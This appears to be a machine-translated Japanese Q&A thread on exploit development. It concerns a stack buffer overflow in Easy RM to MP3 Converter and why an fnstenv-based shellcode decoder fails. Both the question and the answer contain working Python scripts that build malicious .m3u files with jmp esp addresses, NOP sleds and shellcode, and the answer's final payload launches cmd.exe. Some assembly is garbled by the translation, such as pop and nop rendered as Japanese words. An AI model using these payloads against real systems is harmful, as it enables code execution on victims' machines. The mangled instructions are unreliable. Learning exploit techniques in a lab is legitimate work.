私はエクスプロイトの作成に関する入門チュートリアルを行っています。これは ここにあります です。このチュートリアルでは、Easy RMからMP3への変換ユーティリティの単純なスタックベースのバッファオーバーフローの脆弱性について説明します。基本的なPoCが機能していました(ただし、同じバージョンを使用していても、EIPを上書きするために作成者とは異なるオフセットが見つかりました)。言い換えると、EIPを制御して、シェルコードの前にnopsledにジャンプさせることができ、break命令のみを含むテストシェルコードは完全に正常に機能しました。しかし、(チュートリアルで示されているように)metasploitで生成された実際のシェルコードを使用すると、問題が発生しているようです。これは、チュートリアルの実行中に書いたPythonスクリプトです(Perlを使用したくなかった...):
from struct import pack
filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"
preshell = "X" * 4
shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"
payload = junk + eip + preshell + shellcode
with open(filename, "wb") as file:
file.write(payload)
以下は、シェルコードがクラッシュした後のWindbgの表示です(jmp espが完全に正常に動作し、例外がシェルコード内で発生したことに注意してください)。
デバッガーを調べたところ、シェルコードの最初の方に表示されるfnstenv命令に問題があるようです。 このPhrackの記事 で見つけたものから、fnstenvは、スタックからレジスターにEIPをポップさせる方法として使用されます。
EIPを取得するために使用されているもう1つの興味深いメカニズムは、いくつかの特別なFPU命令を使用することです。これは、ディスカッションのVuln-DevメーリングリストのAaron Adamsによって実装され、純粋なASCIIシェルコードを作成します。コードは、fnstenv/fstenv命令を使用してFPU環境の状態を保存します。
fldz
fnstenv [esp-12]
ポップecx
cl、10を追加
いや
ECXはEIPのアドレスを保持します。ただし、これらの命令は非標準のASCII文字を生成します。
これは、エンコードされたシェルコードをデコードするために必要/便利なようです。ただし、fnstenv呼び出しの後にスタックからポップされるアドレスは常にNULL(0x00000000)となり、その後シェルコードがクラッシュします。私は別のWindowsでこのエクスプロイト/シェルコードを試してみましたXP VM元々自分で設定していませんでした)同じ結果に気づきましたハプニング。
私の質問は単に、なぜこれが起こっているのですか? fnstenv命令が失敗し、EIPのアドレスではなくNULLアドレスが発生する原因は何ですか?変更する必要のある設定(おそらく、VMのVirtualboxのハードウェア設定で何か)があり、これが正しく機能していませんか?
何が起こったかをリバースエンジニアリングしましょう:
POP EAX
はレジスタ0をロードするためFPULastInstructionOpcode
になるはずです。しかし、ESP値はシェルコードの開始点です。なぜですか?そのアドレスの前に書き込むことができないためです。一方、[esp- 0Ch] FPU環境の保存用。
私はあなたのバージョンを実行しようとしましたが、別のエラーが発生しました:
また、動作しないCorelanバージョンも試しました。ご覧のように、私のバージョンではより複雑になりました。
私はあなたのエクスプロイトのバージョンをデバッグすることはできませんが、この脆弱性に対するエクスプロイトを構築するステップバイステップであなたを示すことができます。私はEasy RM to MP3 Converter 2.7.3.700(setup 2.8 MiB)from this Exploit Database page on myを使用していますWindows XP Professional SP3トルコ語。最初に、30000文字のMona.py
パターンを作成しました。RM2MP3Converter.exe
をImmunity Debuggerに添付します細工されたsploit.m3uファイルをロードしました。
Python script pattern.py を使用すると、EIPオフセットをすぐに見つけることができます*:
C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064
ESPスタック内のポイント:
0Hl1または16進値を使用できます。
C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x316C4830 30000
hex pattern decoded as: 0Hl1
5792
26072
調査結果を確認してみましょう。
filename = "sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4
payload = junk + s_eip + junk2 + p_esp
with open(filename, "wb") as file:
file.write(payload)
クラッシュ値は、私たちのエクスプロイトを確認します:
from struct import pack
filename = "sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4
payload = junk + s_eip + junk2 + p_esp
with open(filename, "wb") as file:
file.write(payload)
次に、実行可能セグメントでJMP ESP
を見つける必要があります。次のMona.py
コマンドを使用します。
!mona find -type instr -s "JMP ESP" -x X
from struct import pack
filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4
payload = junk1 + junk2 + s_eip + junk3 + p_esp
with open(filename, "wb") as file:
file.write(payload)
Mona.py
のおかげで、OSライブラリにたくさんの「jmp esp」が見つかりました。 0x77fab277アドレスで最初のものを選択します。
000FFD38 CCCCCCCC ÌÌÌÌ
000FFD3C 00000000 ....
000FFD40 00BC004C L.¼.
000FFD44 00104A58 XJ.
000FFD48 00000000 ....
000FFD4C 00000000 ....
000FFD50 42424242 BBBB
000FFD54 41414141 AAAA
000FFD58 41414141 AAAA
ESPが示す場所で割り込みシーケンスにヒットします。もう少しトリックを追加すると、ADD AH, CL
を追加してシェルコードを着陸させることができます
これは私たちのPythonコードです:
from struct import pack
filename = "sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31
payload = junk1 + junk2 + s_eip + junk3 + p_esp
with open(filename, "wb") as file:
file.write(payload)
長いデバッグセッションの後、次のようになります。
Pythonコード:
from struct import pack
filename = "sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35
payload = junk1 + shellcode + junk2 + s_eip + junk3
with open(filename, "wb") as file:
file.write(payload)
Corelanおよび this Exploit-db バージョンとは異なります。シェルコード here を見つけることができます。
* Monaは最初に出現するシーケンスのみを検出します。